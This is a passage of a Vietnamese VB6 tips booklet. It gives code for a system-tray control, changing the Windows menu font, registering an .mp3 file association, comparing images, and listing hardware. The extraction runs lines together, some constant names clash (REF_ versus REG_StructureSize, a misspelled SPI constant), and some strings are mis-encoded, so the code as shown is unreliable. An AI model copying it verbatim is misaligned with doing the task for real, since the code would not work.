Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal MSG As Long, ByVal wParam As Long, ByVal lParam As Long) As LongPublic Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As LongPublic Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongPublic Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As LongPublic Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long)Public Declare Function DrawEdge Lib "user32" (ByVal hDC As Long, qrc As RECT, ByVal edge As Long, ByVal grfFlags As Long) As Boolean

Public Const GWL_USERDATA = (-21&)Public Const GWL_WNDPROC = (-4&)Public Const WM_USER = &H400&

Public Const TRAY_CALLBACK = (WM_USER + 101&)Public Const NIM_ADD = &H0&Public Const NIM_MODIFY = &H1&Public Const NIM_DELETE = &H2&Public Const NIF_MESSAGE = &H1&Public Const NIF_ICON = &H2&Public Const NIF_TIP = &H4&

Public Const WM_MOUSEMOVE = &H200&Public Const WM_LBUTTONDOWN = &H201&Public Const WM_LBUTTONUP = &H202&Public Const WM_LBUTTONDBLCLK = &H203&Public Const WM_RBUTTONDOWN = &H204&Public Const WM_RBUTTONUP = &H205&Public Const WM_RBUTTONDBLCLK = &H206&

Public Const BDR_RAISEDOUTER = &H1&Public Const BDR_RAISEDINNER = &H4&Public Const BF_LEFT = &H1&Public Const BF_TOP = &H2&Public Const BF_RIGHT = &H4&Public Const BF_BOTTOM = &H8&Public Const BF_RECT = BF_LEFT Or BF_TOP Or BF_RIGHT Or BF_BOTTOMPublic Const BF_SOFT = &H1000&

Public Type NOTIFYICONDATAcbSize As Longhwnd As LonguID As LonguFlags As Long

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 15

Page 16: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0uCallbackMessage As LonghIcon As LongszTip As String * 64End TypePublic Type RECTLeft As LongTop As LongRight As LongBottom As LongEnd Type

Public PrevWndProc As Long

'------------------------------------------------------------Public Function SubWndProc(ByVal hwnd As Long, ByVal MSG As Long, ByVal wParam As Long, ByVal lParam As Long) As Long'------------------------------------------------------------Dim SysTray As cSysTrayDim ClassAddr As Long'------------------------------------------------------------Select Case MSGCase TRAY_CALLBACKClassAddr = GetWindowLong(hwnd, GWL_USERDATA)CopyMemory SysTray, ClassAddr, 4

SysTray.SendEvent lParam, wParam

CopyMemory SysTray, 0&, 4End Select

SubWndProc = CallWindowProc(PrevWndProc, hwnd, MSG, wParam, lParam)'------------------------------------------------------------End Function'------------------------------------------------------------

--------- End mSysTray.bas -------------------

Sau khi bạn tạo module trên rồi, bạn tạo tiếp một cSysTray.ctl như sau:

----------------- cSysTray.ctl---------------------

Option ExplicitPrivate gInTray As BooleanPrivate gTrayId As LongPrivate gTrayTip As StringPrivate gTrayHwnd As LongPrivate gTrayIcon As StdPicturePrivate gAddedToTray As BooleanConst MAX_SIZE = 510

Private Const defInTray = FalsePrivate Const defTrayTip = "System Tray Control" & vbNullChar

Private Const sInTray = "InTray"Private Const sTrayIcon = "TrayIcon"Private Const sTrayTip = "TrayTip"

Public Event MouseMove(Id As Long)Public Event MouseDown(Button As Integer, Id As Long)

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 16

Page 17: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Public Event MouseUp(Button As Integer, Id As Long)Public Event MouseDblClick(Button As Integer, Id As Long)

'-------------------------------------------------------Private Sub UserControl_Initialize()'-------------------------------------------------------gInTray = defInTraygAddedToTray = FalsegTrayId = 0gTrayHwnd = hwnd'-------------------------------------------------------End Sub'-------------------------------------------------------

'-------------------------------------------------------Private Sub UserControl_InitProperties()'-------------------------------------------------------InTray = defInTrayTrayTip = defTrayTipSet TrayIcon = Picture'-------------------------------------------------------End Sub'-------------------------------------------------------

'-------------------------------------------------------Private Sub UserControl_Paint()'-------------------------------------------------------Dim edge As RECT'-------------------------------------------------------edge.Left = 0edge.Top = 0edge.Bottom = ScaleHeightedge.Right = ScaleWidthDrawEdge hDC, edge, BDR_RAISEDOUTER, BF_RECT Or BF_SOFT'-------------------------------------------------------End Sub'-------------------------------------------------------

'-------------------------------------------------------Private Sub UserControl_ReadProperties(PropBag As PropertyBag)'-------------------------------------------------------With PropBagInTray = .ReadProperty(sInTray, defInTray)Set TrayIcon = .ReadProperty(sTrayIcon, Picture)TrayTip = .ReadProperty(sTrayTip, defTrayTip)End With'-------------------------------------------------------End Sub'-------------------------------------------------------

'-------------------------------------------------------Private Sub UserControl_WriteProperties(PropBag As PropertyBag)'-------------------------------------------------------With PropBag.WriteProperty sInTray, gInTray.WriteProperty sTrayIcon, gTrayIcon.WriteProperty sTrayTip, gTrayTipEnd With'-------------------------------------------------------

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 17

Page 18: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0End Sub'-------------------------------------------------------

'-------------------------------------------------------Private Sub UserControl_Resize()'-------------------------------------------------------Height = MAX_SIZEWidth = MAX_SIZE'-------------------------------------------------------End Sub'-------------------------------------------------------

'-------------------------------------------------------Private Sub UserControl_Terminate()'-------------------------------------------------------If InTray ThenInTray = FalseEnd If'-------------------------------------------------------End Sub'-------------------------------------------------------

'-------------------------------------------------------Public Property Set TrayIcon(Icon As StdPicture)'-------------------------------------------------------Dim Tray As NOTIFYICONDATADim rc As Long'-------------------------------------------------------If Not (Icon Is Nothing) ThenIf (Icon.Type = vbPicTypeIcon) ThenIf gAddedToTray ThenTray.uID = gTrayIdTray.hwnd = gTrayHwndTray.hIcon = Icon.HandleTray.uFlags = NIF_ICONTray.cbSize = Len(Tray)

rc = Shell_NotifyIcon(NIM_MODIFY, Tray)End If

Set gTrayIcon = IconSet Picture = IconPropertyChanged sTrayIconEnd IfEnd If'-------------------------------------------------------End Property'-------------------------------------------------------

'-------------------------------------------------------Public Property Get TrayIcon() As StdPicture'-------------------------------------------------------Set TrayIcon = gTrayIcon'-------------------------------------------------------End Property'-------------------------------------------------------

'-------------------------------------------------------Public Property Let TrayTip(Tip As String)'-------------------------------------------------------

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 18

Page 19: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0Dim Tray As NOTIFYICONDATADim rc As Long'-------------------------------------------------------If gAddedToTray ThenTray.uID = gTrayIdTray.hwnd = gTrayHwndTray.szTip = Tip & vbNullCharTray.uFlags = NIF_TIPTray.cbSize = Len(Tray)

rc = Shell_NotifyIcon(NIM_MODIFY, Tray)End If

gTrayTip = TipPropertyChanged sTrayTip'-------------------------------------------------------End Property'-------------------------------------------------------

'-------------------------------------------------------Public Property Get TrayTip() As String'-------------------------------------------------------TrayTip = gTrayTip'-------------------------------------------------------End Property'-------------------------------------------------------

'-------------------------------------------------------Public Property Let InTray(Show As Boolean)'-------------------------------------------------------Dim ClassAddr As Long'-------------------------------------------------------If (Show <> gInTray) ThenIf Show ThenIf Ambient.UserMode ThenPrevWndProc = SetWindowLong(gTrayHwnd, GWL_WNDPROC, AddressOf SubWndProc)

SetWindowLong gTrayHwnd, GWL_USERDATA, ObjPtr(Me)

AddIcon gTrayHwnd, gTrayId, TrayTip, TrayIcongAddedToTray = TrueEnd IfElseIf gAddedToTray ThenDeleteIcon gTrayHwnd, gTrayId

SetWindowLong gTrayHwnd, GWL_WNDPROC, PrevWndProcgAddedToTray = FalseEnd IfEnd If

gInTray = ShowPropertyChanged sInTrayEnd If'-------------------------------------------------------End Property'-------------------------------------------------------

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 19

Page 20: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0'-------------------------------------------------------Public Property Get InTray() As Boolean'-------------------------------------------------------InTray = gInTray'-------------------------------------------------------End Property'-------------------------------------------------------

'-------------------------------------------------------Private Sub AddIcon(hwnd As Long, Id As Long, Tip As String, Icon As StdPicture)'-------------------------------------------------------Dim Tray As NOTIFYICONDATADim tFlags As LongDim rc As Long'-------------------------------------------------------Tray.uID = IdTray.hwnd = hwnd

If Not (Icon Is Nothing) ThenTray.hIcon = Icon.HandleTray.uFlags = Tray.uFlags Or NIF_ICONSet gTrayIcon = IconEnd If

If (Tip <> "") ThenTray.szTip = Tip & vbNullCharTray.uFlags = Tray.uFlags Or NIF_TIPgTrayTip = TipEnd If

Tray.uCallbackMessage = TRAY_CALLBACKTray.uFlags = Tray.uFlags Or NIF_MESSAGETray.cbSize = Len(Tray)

rc = Shell_NotifyIcon(NIM_ADD, Tray)'-------------------------------------------------------End Sub'-------------------------------------------------------

'-------------------------------------------------------Private Sub DeleteIcon(hwnd As Long, Id As Long)'-------------------------------------------------------Dim Tray As NOTIFYICONDATADim rc As Long'-------------------------------------------------------Tray.uID = IdTray.hwnd = hwndTray.uFlags = 0&Tray.cbSize = Len(Tray)

rc = Shell_NotifyIcon(NIM_DELETE, Tray)'-------------------------------------------------------End Sub'-------------------------------------------------------

'-------------------------------------------------------Friend Sub SendEvent(MouseEvent As Long, Id As Long)'-------------------------------------------------------Select Case MouseEventCase WM_MOUSEMOVE

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 20

Page 21: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0RaiseEvent MouseMove(Id)Case WM_LBUTTONDOWNRaiseEvent MouseDown(vbLeftButton, Id)Case WM_LBUTTONUPRaiseEvent MouseUp(vbLeftButton, Id)Case WM_LBUTTONDBLCLKRaiseEvent MouseDblClick(vbLeftButton, Id)Case WM_RBUTTONDOWNRaiseEvent MouseDown(vbRightButton, Id)Case WM_RBUTTONUPRaiseEvent MouseUp(vbRightButton, Id)Case WM_RBUTTONDBLCLKRaiseEvent MouseDblClick(vbRightButton, Id)End Select'-------------------------------------------------------End Sub'------------------------------------------------------------------------End cSysTray.ctl------------------------

Sau khi tạo xong hai phần trên, bạn biên dịch nó thành một Control OCX và đặt tên là cSysTray.ocx... Vậy là bạn đã xong phần thứ nhất

PHẦN II: tạo một project mới để dùng OCX cSysTray.ocxBạn nhập đoạn mã sau vào :Private Sub cSysTray1_MouseUp(Button As Integer, Id As Long)'Nếu bạn nhấn chuột phải lên systray Icon Select Case ButtonCase vbRightButtonPopupMenu MainMenuEnd SelectEnd Sub

Private Sub Form_Load()Me.Visible=FalsecSysTray1.InTray=TruecSysTray1.TrayTip="http://www.khunglongbeo.com/End Sub

Đôc chiêu 14 : Thay đổi Font tiếng việt cho Menu của Window home Xuất xứ : www.pcworld.com.vn Binh khí sử dụng : KhôngĐoạn mã :

'Các hằng được dùng cho các hàm API

Private Const LF_FaceSize=32

Private Type LOGFONT

lfHeight As LonglfWidth As LonglfEscapement As LonglfOrientation As LonglfWeight As LonglfItalic As BytelfUnderline As BytelfStrikeOut As Byte lfCharset As BytelfOutPrecision As Byte

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 21

Page 22: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0lfClipPrecision As BytelfQuality As BytelfPitchAndFamily As BytelfFaceName(1 To LF_FaceSize) As Byte

End Type

Private Type NONCLIENTMETRICS

cbSize As LongiBorderWidth As LongiScrollWidth As LongiScoolHeight As LongiCaptionWidth As LongiCaptionHeight As LongiSMCaptionWidth As LongiSMCaptionHeight As LonglfCaptionFont As LOGFONTiMenuWidth As LongiMenuHeight As LonglfMenuFont As LOGFONTlfStatusFont As LOGFONTlfMessageFont As LOGFONT

End Type

Const SPI_SetNonClientMetrics = 42Const SPI_GettNonClientMetrics = 41

'Các hàm API cần thiết

'Hàm SystemParametersInfo sẽ gọi lại tất cả thông tin các tham số ngoài hệ thống. Nó còn có khả năng cập nhật những thông tin do người dùng tự phát triển. Chính vì thế bạn dùng nó để thay đổi Font là rất hợp líPrivate Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, Byval uParam As Long, ByRef lpvParam As Any, ByVal fuWinIni As Long) As Long

Private Const REF_StructureSize = 340 ` Sizeof( NONCLIENTMETRICS)Private Const VNI_FontHeight = -13Private Const VNI_FontWeight = 700Private Const VNI_FontName = "VNI-Palatin"Private Const VNI_FontLen = 11 `Len(VNI_FontName)

Private FontMetric As NONCLIENTMETRICSPrivate OldFontMetric As NONCLIENTMETRICS

'Thủ tục này dùng để thay đổi Font của MenuPrivate Sub ChangeFont()

Dim I As IntegerDim VarGT As LongDim VarHeight As LongDim VarWeight As LongDim VarStr As String

FontMetric.cbSize = REG_StructureSize

VarGT = SystemParametersInfo(SPI_GetNonClientMetrics,REG_StructureSize, FontMetric, 0)

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 22

Page 23: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0OldFontMetric =FontMetricFontMetric.lfCaptionFont.lfHeight = VNI_FontHeightFontMetric.lfCaptionFont.lfWeight = VNI_FontWeightVarStr = VNI_FontNameFor I=1 To LF_FaceSizeIf I <= VNI_FontLen ThenFontMetric.lfCaptionFont.lfFaceName(I)= CByte(Asc(Mid(VarStr,I,1)))FontMetric.lfMenuFont.lfFaceName(I)= CByte(Asc(Mid(VarStr,I,1)))Else FontMetric.lfCaptionFont.lfFaceName(I) = 0FontMetric.lfMenuFont.lfFaceName(I) = 0End IfNext IVarGT= SystemParametersInfo(SPI_SetNonClientMetrics, REG_StructureSize, FontMetric,0)End Sub

'THủ tục để phục hồi lại font cho menuPrivate Sub RestoreFont()Dim VarGT As LongVarGT= SystemParametersInfo (SPI_SetNonClientMetrics, REG_StructureSize, OldFontMetric,0)End Sub

'Khi form được khởi tạo thì đổi FontPrivate Sub Form_Load()ChangeFontEnd Sub

'Khi form thoát thì khởi tạo lại font mặc định cho hệ thống bước này quan trọng vì nếu bạn không phục hồi lại font hệ thống thì các menu khác trong Window sẽ nhảy lộn xộn cả lênPrivate Sub Form_UnLoad(Cancel As Integer)RestoreFontEndEnd Sub

Đôc chiêu 14 : Hiện Icon đại diện cho một loại file home Xuất xứ : www.ttvnol.com Binh khí sử dụng : 1 ModuleĐoạn mã :

'Bạn tạo một module mới và dán đoạn mã này vào

'Các hàm API cần thiết

Private Declare Function RegCreateKey Lib "advapi32.dll" _Alias "RegCreateKeyA" (ByVal hKey As Long, _ByVal lpSubKey As String, _phkResult As Long) As Long

Private Declare Function RegSetValue Lib "advapi32.dll" _Alias "RegSetValueA" (ByVal hKey As Long, _ByVal lpSubKey As String, _ByVal dwType As Long, _ByVal lpData As String, _ByVal cbData As Long) As Long

'Thực chất của việc tạo Icon riêng cho ứng dụng là việc bạn đăng kí cho Registry của Window biết là bạn đã đăng nhập vào "quốc gia" của họ

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 23

Page 24: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0'Các hằng số mang giá trị phản hồi từ Registry Const ERROR_SUCCESS = 0&Const ERROR_BADDB = 1&Const ERROR_BADKEY = 2&Const ERROR_CANTOPEN = 3&Const ERROR_CANTREAD = 4&Const ERROR_CANTWRITE = 5&Const ERROR_OUTOFMEMORY = 6&Const ERROR_INVALID_PARAMETER = 7&Const ERROR_ACCESS_DENIED = 8&

Private Const HKEY_CLASSES_ROOT = &H80000000Private Const MAX_PATH = 260&Private Const REG_SZ = 1

'Hàm API cần thiếtPrivate Declare Sub SHChangeNotify Lib "shell32.dll" _(ByVal wEventId As Long, _ByVal uFlags As Long, _dwItem1 As Any, _dwItem2 As Any)

Const SHCNE_ASSOCCHANGED = &H8000000Const SHCNF_IDLIST = &H0&

'THủ tục dùng để đăng kí Icon cho chương trình

Public Sub Tao_File_He_Thong()'Giả sử rằng chương trình của bạn sẽ đăng kí ch việc thay đổi các tập tin có phần mở rộng là "*.mp3".

Dim sKeyName As String 'Nắm tên khoá trong RegDim sKeyValue As String ''Nắm một giá trị của khoá trong Reg

Dim Ret& Dim lphKey& Dim Path As String

Path = App.PathIf Right(Path, 1) <> "\" ThenPath = Path & "\"End If

'Đăng kí cho một giá trị khoá gốc là tên ứng dụng của bạn. Ví dụ, bạn đặt tên cho chương trình là "Khunglongbeo.exe" thì giá trị của nó là "Khunglongbeo" và khi hoàn tất, tập tin sẽ có thuộc tính là "Khunglongbeo's File " (một hàng chữ mờ mờ bên dưới các file mà bạn thương gặp)

sKeyName = "Khunglongbeo"sKeyValue = "Khunglongbeo's File"Ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)Ret& = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&)

'Đăng kí phần mở rộng "*.mp3" liên kết với ứng dụng mang tên "khunglongbeo" của bạnsKeyName = ".mp3"sKeyValue = "Khunglongbeo"Ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)Ret& = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&)

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 24

Page 25: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0sKeyName = "Khunglongbeo"sKeyValue = Path & "Khunglongbeo.exe %1"Ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)Ret& = RegSetValue&(lphKey&, "shell\open\command", REG_SZ, _sKeyValue, MAX_PATH)

'Lấy một Icon làm ảnh đại diệnsKeyName = "Khunglongbeo"'Bạn hãy tìm một file .Ico bất kì và lưu vào đường dẫn sẽ qui định bên dưới (đường dẫn này tuỳ bạn qui định)sKeyValue = Path & "KLB.ico"Ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)Ret& = RegSetValue&(lphKey&, "DefaultIcon", REG_SZ, _sKeyValue, MAX_PATH)

'Đổi IconSHChangeNotify SHCNE_ASSOCCHANGED, SHCNF_IDLIST, 0, 0

End Sub

'**************************'Phần mã này bạn hãy nhập vào Form1

Private Sub Form_Load()Tao_File_He_ThongEnd Sub

Đôc chiêu 15 : So sánh hai ảnh home Xuất xứ : www.ttvnol.com Binh khí sử dụng :

Bạn vẽ lên form1 các control sau :2 picture box (picture1 và picture2)2 label edit (label1 và label2)1 command button (command1)Bạn trang trí form như hình sau:

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 25

Page 26: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0

Đoạn mã :

''Mã nguồn so sánh hai hình ảnh có định dạng bất kìĐược viết bởi khunglongbeoEmail Address: [email protected]ày viết : 11/06/2003

‘ Do tôn trọng tác giả nên tôi xin được giữ nguyên phần này''Cac ham API can thietPrivate Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As LongPrivate Declare Function SetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal crColor As Long) As Long'---------------------------------------------------------------------------------''Ham dung de so sanh xem hai hinh co giong nhau khong ? Private Sub So_Sanh(lpHinh1 As PictureBox, lpHinh2 As PictureBox)Dim i As LongDim j As LongDim Mang1() As LongDim Mang2() As LongDim Co As Integer''Chuyen tung anh sang che do pixels lpHinh1.ScaleMode = vbPixelslpHinh2.ScaleMode = vbPixelsCo = 0''Duyet gia tri cho tung pixel anh ReDim Mang1(lpHinh1.Width, lpHinh1.Height) As LongFor i = 0 To lpHinh1.Width - 1 For j = 0 To lpHinh1.Height - 1 ''Luu tung gia tri pixel vao trong Mang1

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 26

Page 27: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 Mang1(i, j) = GetPixel(lpHinh1.hdc, i, j) ''Tao thanh truot gia dinh dang quet tung pixel SetPixel lpHinh1.hdc, i, j, vbRed SetPixel lpHinh1.hdc, i - 1, j, Mang1(i, j) lpHinh1.Refresh ''Dinh vi tri pixel hien hanh lbl1.Caption = "X : Y = " & i & ":" & j DoEvents Next jNext i''Doan ma nay giong ma tren dung de xu li anh 2 ReDim Mang2(lpHinh2.Width, lpHinh2.Height) As LongFor i = 0 To lpHinh2.Width - 1 For j = 0 To lpHinh2.Height - 1 Mang2(i, j) = GetPixel(lpHinh2.hdc, i, j) SetPixel lpHinh2.hdc, i, j, vbRed SetPixel lpHinh2.hdc, i - 1, j, Mang2(i, j) lpHinh2.Refresh lbl2.Caption = "X : Y = " & i & ":" & j DoEvents Next jNext i''So sanh tung pixel tu hai mang trung gianOn Error Resume NextIf (lpHinh1.Width * lpHinh1.Height) >= (lpHinh2.Width * lpHinh2.Height) Then For i = 0 To lpHinh1.Width - 1 For j = 0 To lpHinh1.Height - 1 If Mang1(i, j) <> Mang2(i, j) Then Co = Co + 1 MsgBox "The nay ma bao giong nhau a ???" Exit Sub End If Next j Next i If Co = 0 Then MsgBox "Hai hinh nay giong y nhau ta oi !" End IfElseFor i = 0 To lpHinh2.Width - 1 For j = 0 To lpHinh2.Height - 1 If Mang1(i, j) <> Mang2(i, j) Then Co = Co + 1 MsgBox "The nay ma bao giong nhau a ???" Exit Sub End If Next j Next i If Co = 0 Then MsgBox "Hai hinh nay giong y nhau ta oi!" End IfEnd IfEnd SubPrivate Sub CmdSS_Click() Call So_Sanh(Pic1, Pic2)End SubPrivate Sub Form_Load()On Error Resume Next 'Doi voi picture1 Picture1.Name = "Pic1" Picture1.AutoRedraw = True Picture1.AutoSize = True Picture1.Appearance = True

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 27

Page 28: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0 Picture1.BorderStyle = 0 ''Doi voi picture2 Picture2.Name = "Pic2" Picture2.AutoRedraw = True Picture2.AutoSize = True Picture2.Appearance = True Picture2.BorderStyle = 0 ''Doi voi cac label Label1.Name = "lbl1" Label2.Name = "lbl2" ''Doi voi command button Command1.Name = "CmdSS" Command1.Font = "VNI-Palatin" Command1.Caption = "So sánh" ''Doi voi form Me.AutoRedraw = True Me.ScaleMode = vbPixelsEnd Sub

Lời kết Bạn chạy thử và xem điều gì sẽ xảy ra. Chương trình sẽ chạy rất chậm nếu như hình có kích thước lớn. Tuy nhiên, kết quả cũng không tệ... Đối với những hình có độ nhoè, bạn có thể qui định bằng cách thêm một số nguyên trong hàm để qui định phần trăm độ nhoè.... Kĩ thuật nhận dạng giới hạn độ nhoè cho phép bảo mật bằng sinh trắc học thực ra cũng không khó về thuật toán. Chỉ cần có máy móc kĩ thuật cao một tí là các bạn có thể làm mọi thứ mình cần

Đôc chiêu 16 : Liệt kê danh sách các thành phần phần cứng trong máy home Xuất xứ : www.ttvnol.com Binh khí sử dụng : KhôngĐoạn mã :

Dim Ports(0 To 100) As PORT_INFO_2Const KT_TYPE = 0Const PRINTER_ENUM_LOCAL = &H2Private Type PRINTER_INFO_1flags As LongpDescription As StringpName As StringpComment As StringEnd TypePrivate Type DISPLAY_DEVICEcb As LongDeviceName As String * 32DeviceString As String * 128StateFlags As LongDeviceID As String * 128DeviceKey As String * 128End TypePrivate Declare Sub GetSystemInfo Lib "kernel32" (lpSystemInfo As SYSTEM_INFO)Private Type SYSTEM_INFOdwOemID As LongdwPageSize As LonglpMinimumApplicationAddress As LonglpMaximumApplicationAddress As LongdwActiveProcessorMask As LongdwNumberOrfProcessors As LongdwProcessorType As LongdwAllocationGranularity As LongdwReserved As LongEnd TypePrivate Type PORT_INFO_2pPortName As String

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 28

Page 29: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0pMonitorName As StringpDescription As StringfPortType As LongReserved As LongEnd TypePrivate Type API_PORT_INFO_2pPortName As LongpMonitorName As LongpDescription As LongfPortType As LongReserved As LongEnd TypeConst MAX_HOSTNAME_LEN = 132Const MAX_DOMAIN_NAME_LEN = 132Const MAX_SCOPE_ID_LEN = 260Const MAX_ADAPTER_NAME_LENGTH = 260Const MAX_ADAPTER_ADDRESS_LENGTH = 8Const MAX_ADAPTER_DESCRIPTION_LENGTH = 132Const ERROR_BUFFER_OVERFLOW = 111Const MIB_IF_TYPE_ETHERNET = 1Const MIB_IF_TYPE_TOKENRING = 2Const MIB_IF_TYPE_FDDI = 3Const MIB_IF_TYPE_PPP = 4Const MIB_IF_TYPE_LOOPBACK = 5Const MIB_IF_TYPE_SLIP = 6

Private Type IP_ADDR_STRINGNext As LongIpAddress As String * 16IpMask As String * 16Context As LongEnd Type

Private Type IP_ADAPTER_INFONext As LongComboIndex As LongAdapterName As String * MAX_ADAPTER_NAME_LENGTHDescription As String * MAX_ADAPTER_DESCRIPTION_LENGTHAddressLength As LongAddress(MAX_ADAPTER_ADDRESS_LENGTH - 1) As ByteIndex As LongType As LongDhcpEnabled As LongCurrentIpAddress As LongIpAddressList As IP_ADDR_STRINGGatewayList As IP_ADDR_STRINGDhcpServer As IP_ADDR_STRINGHaveWins As BooleanPrimaryWinsServer As IP_ADDR_STRINGSecondaryWinsServer As IP_ADDR_STRINGLeaseObtained As LongLeaseExpires As LongEnd Type

Private Type FIXED_INFOHostName As String * MAX_HOSTNAME_LENDomainName As String * MAX_DOMAIN_NAME_LENCurrentDnsServer As LongDnsServerList As IP_ADDR_STRINGNodeType As LongScopeId As String * MAX_SCOPE_ID_LEN

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 29

Page 30: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0EnableRouting As LongEnableProxy As LongEnableDns As LongEnd Type

Private Declare Function GetNetworkParams Lib "IPHlpApi" (FixedInfo As Any, pOutBufLen As Long) As LongPrivate Declare Function GetAdaptersInfo Lib "IPHlpApi" (IpAdapterInfo As Any, pOutBufLen As Long) As LongPrivate Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Private Declare Function EnumPorts Lib "winspool.drv" Alias "EnumPortsA" (ByVal pName As String, ByVal Level As Long, ByVal lpbPorts As Long, ByVal cbBuf As Long, pcbNeeded As Long, pcReturned As Long) As LongPrivate Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As LongPrivate Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (pTo As Any, uFrom As Any, ByVal lSize As Long)Private Declare Function HeapAlloc Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As LongPrivate Declare Function GetProcessHeap Lib "kernel32" () As LongPrivate Declare Function HeapFree Lib "kernel32" (ByVal hHeap As Long, ByVal dwFlags As Long, lpMem As Any) As Long

Private Declare Function EnumDisplayDevices Lib "user32" Alias "EnumDisplayDevicesA" (Unused As Any, ByVal iDevNum As Long, lpDisplayDevice As DISPLAY_DEVICE, ByVal dwFlags As Long) As BooleanPrivate Declare Function EnumPrinters Lib "winspool.drv" Alias "EnumPrintersA" (ByVal flags As Long, ByVal name As String, ByVal Level As Long, pPrinterEnum As Long, ByVal cdBuf As Long, pcbNeeded As Long, pcReturned As Long) As LongPrivate Declare Function lstrcpy Lib "kernel32.dll" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As LongPrivate Declare Function lstrlen Lib "kernel32.dll" Alias "lstrlenA" (ByVal lpString As Long) As LongPrivate Declare Function GetKeyboardType Lib "user32" (ByVal nTypeFlag As Long) As Long'*********************************************************************'Liệt kê tên của Card Màn hìnhPrivate Sub Ten_Card_ManHinh()Dim DD As DISPLAY_DEVICEDD.cb = Len(DD)If EnumDisplayDevices(ByVal 0&, 0, DD, ByVal 0&) ThenMe.Print "Teân cuûa card maøn hình : " + Left$(DD.DeviceString, InStr(1, DD.DeviceString, Chr$(0)) - 1)ElseMe.Print "Khoâng thaáy card maøn hình"End IfEnd Sub'*********************************************************************'LIệt kê danh sách tên máy inPrivate Sub Ten_Cac_May_In()Dim longbuffer() As LongDim printinfo() As PRINTER_INFO_1Dim numbytes As LongDim numneeded As LongDim numprinters As LongDim c As Integer, retval As Longnumbytes = 3076ReDim longbuffer(0 To numbytes / 4) As Longretval = EnumPrinters(PRINTER_ENUM_LOCAL, "", 1, longbuffer(0), numbytes,

Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 30

Page 31: Chiêu thức lập trình

Chiêu thức lập trình VB 6.0numneeded, numprinters)If retval = 0 Thennumbytes = numneededReDim longbuffer(0 To numbytes / 4) As Longretval = EnumPrinters(PRINTER_ENUM_LOCAL, "", 1, longbuffer(0), numbytes, numneeded, numprinters)If retval = 0 ThenDebug.Print "Could not successfully enumerate the printes."EndEnd IfEnd IfIf numprinters <> 0 Then ReDim printinfo(0 To numprinters - 1) As PRINTER_INFO_1For c = 0 To numprinters - 1printinfo(c).flags = longbuffer(4 * c)printinfo(c).pDescription = Space(lstrlen(longbuffer(4 * c + 1)))retval = lstrcpy(printinfo(c).pDescription, longbuffer(4 * c + 1))printinfo(c).pName = Space(lstrlen(longbuffer(4 * c + 2)))retval = lstrcpy(printinfo(c).pName, longbuffer(4 * c + 2))printinfo(c).pComment = Space(lstrlen(longbuffer(4 * c + 3)))retval = lstrcpy(printinfo(c).pComment, longbuffer(4 * c + 3))Next cFor c = 0 To numprinters - 1Me.Print "Teân cuûa maùy in thöù "; c + 1; " laø : "; printinfo(c).pNameNext cEnd Sub'*********************************************************************'Hàm dùng để kiểu bàn phímPrivate Sub Ban_Phim()Select Case 